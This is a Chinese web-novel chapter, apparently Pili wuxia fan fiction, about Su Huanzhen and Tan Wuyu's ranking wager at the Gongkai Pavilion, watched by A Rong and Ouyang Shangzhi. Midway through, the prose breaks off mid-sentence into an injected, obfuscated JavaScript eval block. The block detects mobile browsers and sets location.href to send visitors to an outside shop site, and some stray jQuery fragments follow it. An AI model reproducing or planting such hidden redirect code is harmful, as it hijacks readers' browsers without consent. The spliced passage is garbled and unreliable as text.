默认冷灰
24号文字
方正启体

21. 第21章

作者:小北在挖坑本书字数:K更新时间:
    近期中,素还真与谈无欲有场赌局,分别是公开亭公平石上的风云录与文武贯,上面记录着他们各自认为的天下十大名人,天下第一,吸引了武林上所有人的眼光。


    武林人士议论纷纷,不知道榜上有名的人有谁,而收到邀请的人皆前往公开亭。


    魔火之父率领女暴君、一屠勇前往公开亭;闻世先生、怪老子带著三圣会的人员,同样向公开亭出发;霹雳门之主也乘坐轿子向公开亭而行;其他榜上有名的武林十大名人也纷纷向公开亭直进。


    此事也吸引了在武林上行走的阿容和欧阳上智,他们刚从骷髅堡里出来便前往公开亭,看看这次素还真又在公开亭弄了什么花样。


    阿容与欧阳上智已来到了公开亭附近。此处比上次更加人山人海,各色旗帜、奇装异服、兵器寒光混杂在一起,空气中弥漫着躁动、期待与浓重的戒备。所有人的目光,都聚焦在亭中那块新立的,光洁如镜的公平石上。


    风云录与文武贯。


    素还真与谈无欲。


    天下十大名人。


    仅仅是这几个词,便足以在江湖掀起滔天巨浪。这是智者的赌局,更是权力的重新排榜,无人能置身事外,哪怕只是作为看客。


    欧阳上智依旧顶着那张苍老的伪装,混在人群边缘,目光如鹰隼般扫过一张张或兴奋、或凝重、或算计的面孔。


    魔火之父的赤发在人群中颇为醒目,女暴君紧跟其后,眼神却时不时飘向霹雳门那顶华贵而封闭的轿子;闻世先生与怪老子站在三圣会众人之前,神色肃穆;还有许多或独行或结伴的武林人士,气息强弱不一,却都紧盯着公平石,等待名字揭晓。


    “风云际会,龙虎相争。”欧阳上智低声评价,声音里听不出情绪,“素还真与谈无欲……以天下为棋盘,以名人为棋子,好大的气魄,好重的赌注。”


    阿容安静地站在他身侧稍后一步,肩上的夜月似乎被这人潮汹涌和无数强横气息所慑,乖巧地缩着脖子,圆眼睛警惕地转动,只偶尔轻轻蹭一下阿容的脸颊。


    她今日换了身更不起眼的灰蓝色布裙,木簪依旧,长发松松拢在背后,气息收敛得如同滴水入海。


    “不是赌注,”她望着公平石上尚未显现的字迹,声音平淡,“是宣言,也是战场。”


    “哦?”欧阳上智侧目。


    “将自己的评判公之于众,让天下人见证、争论、甚至为此厮杀。”阿容的目光掠过那些彼此打量、暗含敌意的各方势力,“榜单本身,就成了最强的武器。上榜者,或被推崇,或成众矢之的;未上榜者,或心生怨怼,或急于证明。素还真与谈无欲不必亲自出手,这张榜单,就足以搅动整个武林,让潜藏的势力浮出水面,让暗藏的恩怨摆上台面。”


    她顿了顿,像是感受着空气中无形的张力:“他们赌的,不是输赢,而是……谁能更好地利用这场因榜单而起的混乱,谁能更精准地引导这股力量,达成自己的目的。这是一场……关于势的豪赌。”


    欧阳上智眼中掠过一丝赞许,但更多的是一种深沉的、近乎愉悦的寒意。“不错。混乱是阶梯,而他们,正在亲手铸造这架通往各自王座的阶梯。只是,阶梯陡峭,攀登者众,一不小心,便会成为他人登顶的垫脚石。”


    他的视线,尤其在那顶霹雳门的轿子上停留了片刻,又扫过魔火之父,最后落回公平石前空出的主位,那是留给素还真与谈无欲的位置。


    正说话间,人群忽然一阵骚动,如潮水般向两侧分开。


    两道人影,一者紫衣飘逸,温润如玉;一者黄衫华贵,冷峻如冰,并肩缓步而来,正是素还真与谈无欲。


    两人并未多看四周黑压压的人群,径直走到公平石前。空气仿佛瞬间凝滞,所有的议论、猜测、敌意都暂时压下,只剩下无数道目光聚焦在两人身上。


    素还真面带温和笑意,向四方略一拱手。谈无欲则负手而立,目光扫过公平石,带着审视与绝对的自信。


    没有多余的寒暄,赌局直接开始。


    阿容的目光,随着人群的分开,自然而然地落在那两道身影上。


    素还真的温润紫影,如春风拂面,是江湖中人人皆识的标志。她的视线平静滑过,不起波澜。


    当那抹熟悉的黄衣身影映入眼帘时,阿容的整个世界,仿佛被投入一颗石子的古井,在绝对死寂的表面下,激起了唯有她自己能感知到的、剧烈的、无声的震荡。


    她愣住了。


    不是因为容貌的相似,她的脸已更像织娘,也不是因为气势的逼人。


    而是一种……来自生命本源深处的,近乎法则层面的微弱共鸣。像两块分离太久的磁石,在某个临界距离内,忽然感知到了彼此的存在。很淡,很遥远,但无法忽略。


    “血缘”——这个从娘亲死后就再也没有出现在她认知架构里的概念,第一次以如此具象的,无法辩驳的方式,穿透了她为自己构筑的所有信息屏障,直接叩击在她的存在之上。


    原来,除了娘亲的血……还有另一份,这个人的血。


    这个认知带来的冲击,远比任何绝顶高手的杀气更为根本。它动摇的不是她的防御,而是她对自己起源故事的基石性理解。


    但也仅仅是一瞬。


    下一刹那,那滔天的信息浪潮便被更庞大,更坚固的东西压制、抚平,那是她二十多年的控制力,记忆里是织娘日复一日的呢喃,是她破壳时第一眼看到的温柔笑容,是粗茶淡饭的滋味,是临终指尖的温度,是好好活着四个字里蕴含的全部宇宙。


    “那又如何。”


    她内心深处,响起了这句话,平静,甚至带着一丝事不关己的漠然。


    记忆的碎片被瞬间调取、拼接:还是顽石时,那滴意外落下的、带着奇异温度与信息编码的血……朦胧感知中,那一闪而过的、与眼前色彩重叠的黄。


    原来是他。


    阿容的目光已然恢复古井无波。她甚至没有刻意移开视线,依旧望着公平石前的方向,但眼中的焦点已不再凝聚于谈无欲个人。


    一个提供了一半生物模板的,意外的合作者。一个她降临此世时,无意中触碰到的“信标”。一个……与她共享某种冰冷物质链接的陌生人。


    仅此而已。


    她的家庭,她的血缘,她的来处与归所,早在织娘决定成为她母亲的那一刻,就已经被唯一地,永恒地定义了。


    除此之外的任何生物学关联,都只是无关紧要的冗余信息,是宇宙运行中一次无意义的巧合留下的物理痕迹。


    她感觉到肩上的夜月不安地动了动,似乎察觉到了她方才那万分之一秒的异常。阿容抬起手,指尖轻轻拂过夜月柔软的羽毛,动作是惯常的轻柔,仿佛刚才那场内心的海啸从未发生。


    “先生,”她开口,声音平稳得听不出任何异样,将欧阳上智的注意力从赌局本身拉回到对局势的观察,“您认为,他们二人,谁会先忍不住,动用榜单之外的力量?”


    欧阳上智并未立刻回答,他精于世故的目光在素、谈二人身上来回扫视,又掠过台下各方势力蠢蠢欲动的面孔,最后,他眼角的余光几不可察地扫过身侧平静得过分的阿容。


    方才那一瞬间,她气息似乎有极细微的凝滞?但此刻再看,却无迹可寻。


    “素还真以柔克刚,善借大势,或许会更沉得住气。”欧阳上智缓缓道,将那一丝疑虑压下,“但谈无欲……锋芒太盛,恐怕不耐久耗。看,好戏要开场了。”


    果然,谈无欲已上前一步,率先在公平石上贴上他的文武贯。


    而阿容,只是静静地看着,看着那抹黄衣,看着这场以天下为注的豪赌。


    她心中那片由织娘的爱所浇筑的心湖,在经历了短暂至可以忽略的涟漪后,已彻底恢复了绝对的平静与透彻。


    血缘?


    不过是一串无关痛痒的生物密码罢了。


    她的灵魂,她的存在意义,她行走世间的全部理由,都只与一个名字有关,织娘。


    随着谈无欲指尖轻点,那卷文武贯如被无形之手托举,稳稳贴上公平石左侧,锦缎舒展,墨迹如铁画银钩,力透纸背。几乎同时,素还真袖袍微扬,风云录亦飘然而起,贴合右侧,字迹圆融流转,却暗藏乾坤。


    两榜并列,中间“武林至尊?”四个大字,如悬剑高挂,直刺人心。


    人群屏息,无数道目光如灼热射线,在两榜之间急速逡巡扫视,寻找异同,掂量分量,计算得失。


    阿容的目光也随之落在榜单之上。她没有像大多数人那样急切地寻找熟悉的名字或比较差异,而是以一种近乎读取的平静,将两份榜单的整体结构、排布逻辑、乃至笔锋气韵,瞬间纳入感知。


    大同小异,正如素还真所言。


    唯有“天下第一刀”、“天下第一剑”两处,截然不同。


    风云录:帝王刀。剑藏玄。


    文武贯:少爷刀。宇文天。


    简单的名字更替,背后牵动的,却是截然不同的势力,恩怨与江湖格局。


    “好一个大同小异。”他缓缓开口,声音压得很低,几乎被周围的声浪淹没,却字字清晰传入阿容耳中,带着一种冰冷的、鉴赏般的玩味,“素还真与谈无欲……呵,这哪里是赌局,分明是一场合谋的清场与定位。”


    他看似在评价那两人,目光却始终锁着那四个字,眼底深处,有某种被长久冰封的东西,在接触到这象征天下权柄的称谓时,难以抑制地泛起一丝灼热。


    “你看,”他继续道,声音里听不出太多情绪,但每个字都像是经过精密的计算,“榜单大同,是告诉天下人,他们二人对武林顶尖力量的认知,本质一致。这本身就是一种宣告,他们站在同样的高度,俯瞰众生。而小异……这小异才是精髓。”


    “而那个位置……”他的目光,又一次,无法克制地落回武林至尊?之上,这一次,停留的时间更长了些,那苍老伪装下的眼眸,锐利得几乎要穿透石面,“才是他们真正要争的,也是他们此刻默契地,留给未来的悬念。”


    他轻轻吸了口气,周遭因赌局而沸腾的贪婪、野心、躁动、算计的气息,仿佛被他吸入了体内,转化成了某种更为深沉磅礴的力量。


    那不仅仅是对素、谈二人智谋的解析,更像是一个压抑已久的帝王,在审视着他人争夺王冠的手段,并在心中,冷冷地演练着,若是自己,当如何做得更绝,更完美,更……名正言顺。


    “天下人皆以为这是素还真与谈无欲的意气之争,却不知,这或许是他们联手,为这混乱的武林……敲响的第一声定鼎之钟。”欧阳上智最后的声音,轻得像一声叹息,却重得让阿容肩上的夜月,都不安地动了动翅膀。


    阿容安静地听着,目光平静地掠过公平石,掠过那些因名字而剑拔弩张的人们,最后,也掠过那空悬的武林至尊。


    她看到了欧阳上智眼中那一闪而逝的、对那个位置的灼热,那是一种纯粹的、近乎本能的野心,与她内心深处只对织娘相关的概念才会产生的波动,截然不同。


    “清理台阶,未必是为了让别人登顶。”阿容的声音依旧平淡,仿佛在陈述一个与己无关的客观事实,“也可能,是为了让自己走上去时,脚下更干净些。至于那声钟……是为新主登基而鸣,还是为旧时代送葬,尚未可知。”


    她并不关心谁会成为武林至尊,那个位置,在她看来,不过是更大、更醒目的靶子,是束缚,是远离平凡生活的极端反面。


    但她也清晰地感知到,身侧这位先生,那平静表象下,因这四个字而微微加速的心跳,与眼底重新燃起的,属于欧阳上智本尊的、冰冷而炙热的野望。


    这场赌局,搅动了武林的水,也让许多潜藏的东西,浮上了水面。


    包括她自己那微不足道,已被彻底镇压的血缘涟漪,和身边之人,那从未熄灭,反而因时势而愈发明晰的……帝王之心。


    “戏已开锣,”阿容望着台下即将因榜单而起的纷争,轻声道,“看客,也该找好自己的位置了。”


    只是,她是真的看客。而有些人,早已身在局中,觊觎的,便是那最终唯一的主角之位。


    “在场的众人都看到了,我的风云录与谈无欲的文武贯记载都是大同小异,只是在天下第一剑与天下第一刀这二者有出入,风云录记载的是剑藏玄、帝王刀,文武贯记载的是宇文天、少爷刀。”素还真率先开口道,“我们在此打一个赌,先请文武贯与风云录共同的天下第一毒,沙人畏将毒丹放在现场。”


    沙人畏一跃而上,将毒丹放在公平石上,供在场的人看。


    素还真接着说:“就是说,如果谁输了谁就服下那颗毒丹,赌法就是,帝王刀与少爷刀,剑藏玄与宇文天比试三十招,谁胜谁是天下第一,若三十招内无法分出胜负,就是平局,则两人共同列入榜内,若是文武贯记录的人胜,那谈无欲便得两分,我也同样如此,若是平局就是一人一分,谁得分最少谁便服下毒丹。”


    素还真的话语清晰平静,却如惊雷滚过公开亭,在每个人心头炸开。


    服毒丹?以生死为赌注,验证天下第一的归属?


    原本因榜单而起的骚动与私语,瞬间被一种更尖锐、更赤裸的紧张感取代。目光齐刷刷投向公平石上那瓶子,天下第一毒沙人畏的杰作,其份量,足以让最狂妄的人噤声。


    “真是……好魄力,也好毒辣。”欧阳上智在阿容身侧,几乎是从牙缝里挤出一声短促的、带着复杂意味的轻笑,“输者服毒,不死也废。这不仅是在赌榜单,更是在赌命,赌威望,赌他们二人谁对武林的裁决更准确。沙人畏的毒丹一放,这赌局便再无转圜,也再无退路。素还真……这一步,走得好绝。”


    阿容的目光落在毒丹上,停留了一瞬,她能读到那小小丸药中蕴含的、高度压缩且结构极其险恶的毒性信息,那是一种近乎艺术般的毁灭设计,沙人畏,名副其实。


    她的视线随即移开,扫向人群。她看到剑藏玄眉头紧锁,手已按上剑柄;宇文天面具下的目光闪烁不定;帝王刀抱臂而立,气息沉凝;少爷刀……少爷刀的身影似乎不在最前排。


    这四个人,瞬间被推到了风口浪尖,他们的胜败,不仅关乎自身名号,更直接系于素还真与谈无欲的生死荣辱。无形的压力与杀机,如蛛网般从公平石蔓延开来,缠绕在每一个相关者身上。


    “不是魄力,是代价。”阿容低声回应,声音依旧听不出波澜,却一针见血,“将私人赌约,绑定于他人武力胜负,并冠以天下第一公论之名。胜者,名利双收,权威更甚;败者,身败名裂,甚至殒命。而无论结果如何,这四人及其背后势力,都已彻底被卷入素、谈二人的棋局,恩怨再难厘清。此后江湖风向,将很大程度上被今日这两场比试的结果所牵引。”


    她看到谈无欲在素还真话音落下后,嘴角勾起一抹冷峭的弧度,似乎对这份残酷的赌约并无异议,甚至颇为激赏。两人目光在空中短暂交汇,没有火花,只有一种冰冷的,棋逢对手的默契。


    “击掌为誓。”谈无欲吐出四字。


    “请。”素还真微笑抬手。


    三掌。


    轻描淡写,仿佛友人间的随意约定。


    砰!砰!砰!


    声音不大,却奇异地压过了全场所有的嘈杂,每一声掌击,都仿佛不是拍在对方掌心,而是直接拍在了公开亭的地脉,拍在了在场每一个高手的心跳节拍上!


    第一掌,空气微凝,远处林叶无风自动。


    第二掌,脚下大地传来沉闷回响,公平石微微震颤。


    第三掌,声音落下的瞬间——


    “轰隆隆——!!!”


    公开亭侧后方,一座数十丈高的风化岩柱,竟应声从中崩裂,上半截山岩在令人牙酸的碎裂声中缓缓倾斜、坍塌,激起漫天尘土,碎石滚落如雨!


    并非刻意示威,仅仅是两人掌力余波不经意的宣泄,便已如此骇人!


    方才还因赌约内容而议论纷纷、心怀各志的武林群豪,此刻尽皆面色骤变,许多人不由自主地后退半步,修为稍弱者更是气血翻腾,耳中嗡鸣,脸上血色褪尽,只剩土灰。


    窒息般的死寂笼罩全场,只剩下远处山岩滚落的隆隆余音。


    这便是清香白莲素还真、脱俗仙子谈无欲!轻描淡写的三掌之誓,便有崩山裂石之威!他们赌的,不仅是智,更是深不可测的、足以俯瞰众生的绝对实力!在这等力量面前,任何小心思、小算计,都显得苍白而可笑。


    阿容肩上的夜月受惊般猛地缩紧爪子,将脑袋埋进翅膀。阿容抬手轻轻安抚它,目光却始终冷静。


    她看到的不仅仅是掌力造成的物理破坏,更是那两股磅礴气劲在接触、碰撞、湮灭时,所引发的精微能量湍流与规则扰动。


    她的注意力更多放在周围人的反应上:魔火之父眼中闪过深深的忌惮;女暴君脸色发白,下意识靠近了轿子一步;闻世先生与怪老子相视骇然;三圣会众人气息紊乱;就连那顶一直稳如泰山的霹雳门轿子,帘幕也几不可察地晃动了一下。


    恐惧,敬畏,重新评估……复杂的情绪在人群中瘟疫般蔓延。


    欧阳上智的呼吸也微不可闻地窒了一瞬,眼底那簇因武林至尊而燃起的野火,仿佛被这冰山般的实力震慑,稍稍摇曳,但随即,燃烧得更加幽深、更加隐秘。


    他需要的不是这种正面的,压倒性的力量,他需要的是时机,是混乱,是人心缝隙中的机会。素还真、谈无欲越强,赌注越大,可能造成的混乱和机会……也就越多。


    正当公开亭内众人还未从素谈二人三掌之威的震撼中完全回神,一股更加庞大、更加压抑、仿佛来自九天之上的恐怖威压,毫无征兆地笼罩了整个天地!


    “那是……什么?!”有人骇然抬头。


    只见云层翻涌破开,一艘庞大到遮蔽天光的奇异帆船,通体泛着冷硬的金属光泽,船帆却似云雾织就,符文流转,携着风雷之声,自九霄之上轰然降临!正是传说中的——九霄铁龙帆!


    它的出现,直接改变了公开亭的气场,方才素谈二人展现的力量虽令人心惊,尚在人的范畴内,而此刻这艘铁龙帆带来的,是宛如天灾、宛如规则化身般的威严与压迫,让人本能地感到渺小与战栗。


    素还真的笑容首次彻底敛去,面色凝重,谈无欲冰冷的脸上也闪过一丝紧绷。两人不约而同地望向天空,那是面对远超预料之强敌时才有的、最真实的戒备姿态。


    “素还真、谈无欲!”铁龙帆中传出的声音非人非兽,带着金属摩擦般的轰鸣,却又奇异地清晰传入每个人耳中,如同天宪,“吾已警告过尔等,不得将风云录、文武贯贴上公平石!”


    话音未落,一道粗如殿柱、凝练到极致的灰白色气劲,仿佛无视空间距离,自铁龙帆前端激射而出,直取素还真!气劲所过之处,空气发出不堪重负的尖啸,泛起肉眼可见的扭曲波纹。


    “危险!”一线生失声惊呼。


    素还真紫影急晃,双手瞬间结出数十道防御印诀,莲华虚影层层绽放。然而——


    “噗!”


    气劲摧枯拉朽般击碎所有防御,结结实实轰在素还真胸口!


    “哇啊——!”素还真如遭雷殛,身形剧震,猛地向后滑出十数丈,双脚在地面犁出两道深沟,接连喷出数口触目惊心的鲜血,染红了胸前衣襟,脸色瞬间惨白如纸,气息急剧衰落。


    仅仅一击!名震天下的清香白莲,竟似已受重创!


    “再一掌,送你化为齑粉,再收拾谈无欲!”铁龙帆的声音冷漠无情,第二道更加恐怖的气劲已然在帆首汇聚,光芒刺目,死亡的阴影彻底笼罩素还真。


    谈无欲瞳孔骤缩,下意识地上前半步,手指微不可察地蜷了一下,但终究没有更进一步的动作,只是那紧抿的唇线和绷紧的下颌,泄露了他内心的震动与权衡。一线生已不顾一切地冲过去扶住摇摇欲坠的素还真。


    公开亭内一片死寂,连呼吸声都几乎消失。所有人的心都提到了嗓子眼,方才素谈争锋带来的震撼,在此刻绝对的力量碾压面前,显得如此苍白无力。


    就在这千钧一发之际,素还真强提一口真气,压下喉头腥甜,抬首望向铁龙帆,声音虽弱,却异常清晰:“且慢!阁下若此刻杀我,便是失信于素某!”


    “嗯?”铁龙帆汇聚的气劲微微一滞。


    “三十年前,泰山之巅!”素还真一字一顿,每个字都仿佛用尽全力,却又带着奇异的穿透力,“阁下曾对素某言道:三十年后重现江湖的铁龙帆,第一个要对付的,便是黄山八珠联!如今,八珠联未灭,阁下却先对素某下手,岂非……背弃当日誓言,失信于天下?”


    此言一出,满场皆惊,三十年前?泰山之巅?铁龙帆与素还真竟有如此渊源?


    九霄铁龙帆沉默了片刻,那汇聚的毁灭性能量缓缓散去,轰鸣的声音再次响起:“……言之有理。誓言不可违。八珠联未灭之前,尔等暂且寄下项上人头。”


    它庞大的船身开始调转,云雾翻腾:“素还真,谈无欲。待吾扫灭黄山八珠联之日,便是尔等毙命之时!记住,你们的性命,是借来的。”


    言罢,九霄铁龙帆不再停留,携着隆隆风雷之声,破开云层,转眼间消失在天际,那令人窒息的威压也随之缓缓消散。


    直到铁龙帆彻底消失在视野中,公开亭内凝固的空气才仿佛重新开始流动。许多人腿脚发软,几乎站立不住,冷汗早已浸透衣衫。


    素还真在一线生的搀扶下勉强站稳,又咳出一口淤血,面如金纸,显然伤势极重。


    “好险……好一个九霄铁龙帆!”欧阳上智长长吐出一口气,声音里带着后怕,更带着一种深入骨髓的忌惮与……炽热。


    那种力量,完全超出了他对武林常规武力的认知,那更像是某种古老的,接近神话层面的存在。但同时,一个能与这种存在定下誓约,并以此险死还生的素还真,其城府与机缘,同样深不可测。


    他的目光在重伤的素还真和面色凝重的谈无欲之间来回扫视,脑中飞速计算着铁龙帆现世、素还真重伤、八珠联成为目标这一系列变故,将给武林局势带来的颠覆性影响。


    阿容则静静地站在原地,肩上的夜月感受到威胁离去,小心翼翼探出头。方才铁龙帆出现到离去的整个过程,她的目光始终沉静如渊。


    阿容捕捉到了铁龙帆核心能量流向与下方重伤的素还真之间,一缕极其隐晦、转瞬即逝的双向信息涟漪。


    那感觉……就像是同一个意识的两端,在遵循某个预设的,严密的剧本,进行着注定发生的对话与能量交互。


    “真神奇啊。”阿容在心中无声地自语,指尖无意识地梳理着夜月颈后绒毛。


    这个世界,明明看起来只是围绕着武功、内力、谋略、恩怨运转的普通武侠世界。但总会有像九霄铁龙帆这样的存在跳出来,展现一些近乎现象级或规则级的力量与存在形态。还有她自身,不就是最不寻常的例证么?


    “有趣的……剧本。”她将这个念头归类为无关紧要但值得记录的现象,存入意识深处。她并不关心素还真是否与铁龙帆有更深层的联系,那不关她的事。


    风波稍歇,余悸未平。


    谈无欲目送素还真在一线生搀扶下踉跄离去,面上那层冷峭的冰壳裂开一丝几不可察的缝隙,低声嗤道:“移祸东吴……好口才,好算计。” 不知是赞是讽。


    方才铁龙帆之下,素还真那番三十年前泰山之巅的说辞,与其说是辩解求生,不如说是精准地将铁龙帆这灭顶之灾的矛头,强行转向了另一个目标,黄山八珠联。这不仅是自救,无形中也暂时解了谈无欲的围。


    谈无欲心知肚明,却也不会承这份情,他转身欲走,目光扫过台下仍惊魂未定却又因赌局中断而心思浮动的众人。


    “且慢!” 一名黑衣刀客按捺不住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848560|191424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,排众而出,声音带着质疑,“文武贯与风云录之事尚未了结!谈无欲,天下第一智此栏,你与素还真皆填欧阳世家!可全武林谁人不知,欧阳世家早在二十年前便已覆灭!此乃天下公论,你二人如此填写,是何道理?莫不是欺世盗名,随意杜撰?!”


    此言一出,顿时引来不少附和与质疑的目光。欧阳世家覆灭已久,早已是江湖常识,将天下第一智冠于一个已不存在的家族,确显蹊跷。


    谈无欲身形微顿,缓缓侧身,冰冷的目光落在那黑衣刀客身上,如霜刃刮骨。“覆灭?那是愚者所见。”


    他声音不高,却带着不容置疑的穿透力,“百八十年前,便被誉为‘智慧之君’的欧阳世家,其智若海,其谋如渊。你以为的覆灭,或许,只是它选择沉入更深的海底,静观潮起潮落罢了。表象的消亡,从来不是智者判断的依据。”


    “哼,巧言令色!” 黑衣刀客不服,环指四周,“你说它未灭,证据呢?今日天下群雄齐聚公开亭,欧阳世家若真有人,为何不见踪影?连这证明自身存在、争夺天下第一智名号的机会都放弃,岂非笑话!”


    谈无欲嘴角勾起一抹极淡、却冷到人心底的弧度。“证据?何须我出示。欧阳世家……自会证明其存在。”


    话音方落——


    “咻!咻!”


    两道凄艳如血的指劲,毫无征兆地破空而至!快得超越了视觉的捕捉,只留下两道转瞬即逝的红芒残影。


    “噗!噗!”


    几乎不分先后,两道指劲精准无比地分别击中公平石上并列的风云录与文武贯!并非破坏,而是在两张榜单“天下第一智·欧阳世家”那行字的旁边,各留下了一个深深刻入石面、色泽暗红、宛如鲜血烙印的三指指印!


    指印深邃,边缘甚至带着一丝灼烧的痕迹,散发着阴冷、霸道、不容置疑的气息。


    全场哗然!


    “那、那是……?!” 有人失声。


    “三指……血色……难道是传说中欧阳世家的独门绝学……” 有年长者声音发颤。


    谈无欲负手而立,目光落在那两个新鲜出炉的指印上,仿佛早已预料。“三泰阴指。” 他清晰吐出四字,如同敲下定音之锤,“这,便是欧阳世家仍在的证明。其力透石背,其意昭然若揭:这天下第一智之名,他们,收了。”


    黑衣刀客脸色一阵青白,仍强自争辩:“区区两个指印!谁知道是不是你谈无欲故弄玄虚!除非……除非这指印能印在活人身上,印在我眼前!” 他梗着脖子,色厉内荏。


    “哦?” 谈无欲眼帘微垂,掩去眸中一丝冰冷的漠然,“如你所愿。”


    最后一个音节尚未完全消散——


    “嗤!”


    第三道血色指劲,比前两道更加刁钻狠戾,自人群某个难以察觉的角落疾射而出,目标直指黑衣刀客眉心!


    黑衣刀客大骇,想要闪避已然不及,只觉额头一凉,随即是烧灼般的剧痛!


    “呃啊——!”


    他惨嚎一声,踉跄后退,双手徒劳地想去触摸额头。众人看得分明,在他眉心正中,赫然印着一个与石上一模一样的、鲜血淋漓的三泰阴指指印!指印深入皮肉,仿佛烙铁烫就,甚至能看清指纹的纹路。


    黑衣刀客双目圆瞪,充满了惊骇与难以置信,喉咙里发出“咯咯”几声怪响,随即周身一阵剧烈抽搐,仰天便倒,气息全无。


    静。


    死一般的寂静。


    先前所有的质疑、骚动,此刻都被这凌厉、霸道、毫不留情的一指彻底冻结。三泰阴指,不仅印证了欧阳世家的存在,更以一条生命的代价,宣告了其不容挑衅的威严与依然潜伏于暗处的,可怖的力量。


    “现在,可还有人怀疑风云录与文武贯在此栏的公信力?” 谈无欲的声音打破沉寂,冰冷漠然,目光缓缓扫过台下每一张或惊惧、或凝重、或沉思的脸。


    无人应答,那眉心印着血指印的尸体,便是最沉默也最响亮的回答。


    就在这时,人群边缘,一个头戴惨白骷髅面具、身着素白长衫的身影,悄无声息地向后退去,如同滴入沙地的水珠,转眼便隐没在尚未完全散去的人群阴影与远处林木之中,没有引起太多注意。


    除了,一直如旁观者般静立的阿容,以及她身边目光幽深的欧阳上智。


    阿容的视线,在那骷髅面具白衣人消失的方向停留了一瞬。她读到了一种刻意收敛、却依旧异于常人的能量波动,以及一丝极淡的,与那三泰阴指同源却更为精纯阴寒的气息。


    更重要的是,她感知到身旁的欧阳上智,在那白衣人退走时,气息有了一瞬间极其微妙的起伏,那并非警惕,而更像是一种……确认与掌控。


    是他的人。或者说,是他此刻掌控的,欧阳世家力量的一次展现,阿容心中了然。那两记印在榜上的指劲是宣言,这击杀质疑者的一指是立威,而悄然退走的执行者,则是阴影中伸出的触手。


    谈无欲的证明,与欧阳上智的表演,在此刻达成了无声的默契,榜单需要公信力,欧阳世家需要重返世人视野的惊雷,各取所需。


    “看来,先生家业的威望,依旧足以震慑宵小。” 阿容目视前方,声音平淡地传入欧阳上智耳中。


    欧阳上智低咳一声,苍老的面容上古井无波,唯有眼底深处闪过一丝近乎愉悦的幽光。“朽木残灯,借谈无欲之风,复燃一二罢了。”


    他顿了顿,声音压得更低,“倒是这谈无欲,顺水推舟,借力打力的功夫,越发纯熟了。他需要榜单权威,我便给他证据;我需要世人重忆欧阳世家,他便搭好戏台。聪明人之间的交易,总是简洁。”


    “先生想要成为武林至尊。”阿容望着文武贯和风云录中间还是问号的武林至尊称述道。


    “阿容还是一如既往的直接。”欧阳上智轻笑,就算隐藏的再隐秘阿容还是能够看出,并且他从未隐藏。


    阿容并未回应那句一如既往的直接,只是将目光从武林至尊那几个字上移开,落回台下。


    黑衣刀客的尸体已被同伴草草拖走,只余地上一滩暗沉的血迹,无声诉说着刚才的冷酷。人群的骚动已经平息,但空气中弥漫着一种更深沉、更压抑的悸动。


    欧阳世家那血色的三指指印,不仅印在了公平石和死者的额头,也深深烙进了在场每一个江湖人的心里,那个传说中早已覆灭的阴影,原来从未离开,反而潜藏得比所有人想象的更深、更危险。


    “戏看完了,也该走了。”欧阳上智的声音恢复了往常的平淡,仿佛刚才那瞬间泄露的灼热野心只是幻觉。他转身,不再看那喧嚣的公开亭,如同一个真正看倦了热闹的老人,步履缓慢地向着人少的外围走去。


    阿容无声跟上,夜月从她肩头飞起,在前方低空盘旋引路,避开依旧亢奋的人群。


    两人一前一后,离开了公开亭的范围,走入一片相对僻静的竹林。竹影婆娑,滤去了远处的嘈杂,只余风吹竹叶的沙沙声。


    欧阳上智在一处竹亭停下,背对着阿容,望着亭外摇曳的绿意,沉默了片刻,忽然开口,声音里听不出喜怒:“阿容,方才那一指……你觉得如何?”


    他问的是杀人之指,也是立威之指,更是宣告欧阳世家归来的那一指。


    “精准,高效,符合需求。”阿容的回答简洁而客观,如同评价一件工具,“时机把握得很好。在质疑达到顶点、谈无欲需要台阶、而众人需要震慑时出现。指力控制精妙,石上留印而不毁榜,杀人立威而不波及旁人。是经过计算的选择。”


    “只是计算的选择?”欧阳上智转过身,苍老的面具下,那双眼睛锐利地看向阿容,“你不觉得,过于……张扬了吗?在素还真重伤、铁龙帆现世、各方势力虎视眈眈的关口,如此强硬地宣告存在,是否会……成为众矢之的?”


    他像是在询问阿容的看法,又像是在审视自己方才默许甚至主导的这一步棋。


    “张扬与否,取决于后续。”阿容平静道,“若后续无力,便是画蛇添足,引火烧身。若后续有力,便是先声夺人,奠定基调。今日之后,欧阳世家仍在,且其智、其力、其势依旧深不可测的印象,已随那两记石上指印和一条人命,刻入在场所有人的认知。这是种子,先生需要思考的,是如何让这颗种子,在合适的土壤与时机下,长出您想要的果实。”


    她顿了顿,补充道:“至于众矢之的……先生所求的,本就不是隐于市井。那个位置,”她目光似乎穿越竹林,回望公开亭方向,


    “本身,就是最大的箭靶。区别只在于,是作为阴影中的操控者,去拨动箭矢的方向;还是作为明面上的霸主,去承受所有的箭矢。今日之举,更像是……从纯粹的阴影,向可被感知的阴影过渡了一步。”


    欧阳上智听着,眼中闪过深思,随即化为一丝激赏与更深的探究。“你总是能看得这般透彻。不错,阴影若完全无形,便无法施加足够的势。需要被感知,被敬畏,被揣测,却又无法被真正触及,无法被完全定义——这才是最高明的藏与显。”


    他话锋一转,语气里带上一丝不易察觉的试探,“那么依你看,接下来,这片土壤,该如何耕耘?”


    阿容没有立刻回答,她抬起手,夜月乖巧地落回她伸出的手臂上,歪着头,圆眼睛看着欧阳上智。


    “铁龙帆现世,目标直指黄山八珠联,素还真重伤,短期内必然低调。谈无欲心思难测,但经此一事,他与素还真的矛盾或许会暂时搁置,共同面对新的变数。各方势力受惊,需要时间消化、结盟或自保。”


    阿容缓缓说道,如同在陈述一连串互相关联的数据,“混乱已生,阶梯已现,但方向未明。此刻贸然登上阶梯,可能成为铁龙帆的下一个目标,也可能成为众矢之的下的祭品。”


    “先生需要的,不是立刻去争那个问号,而是……去影响那个问号最终被谁填上,以及,如何被填上。”


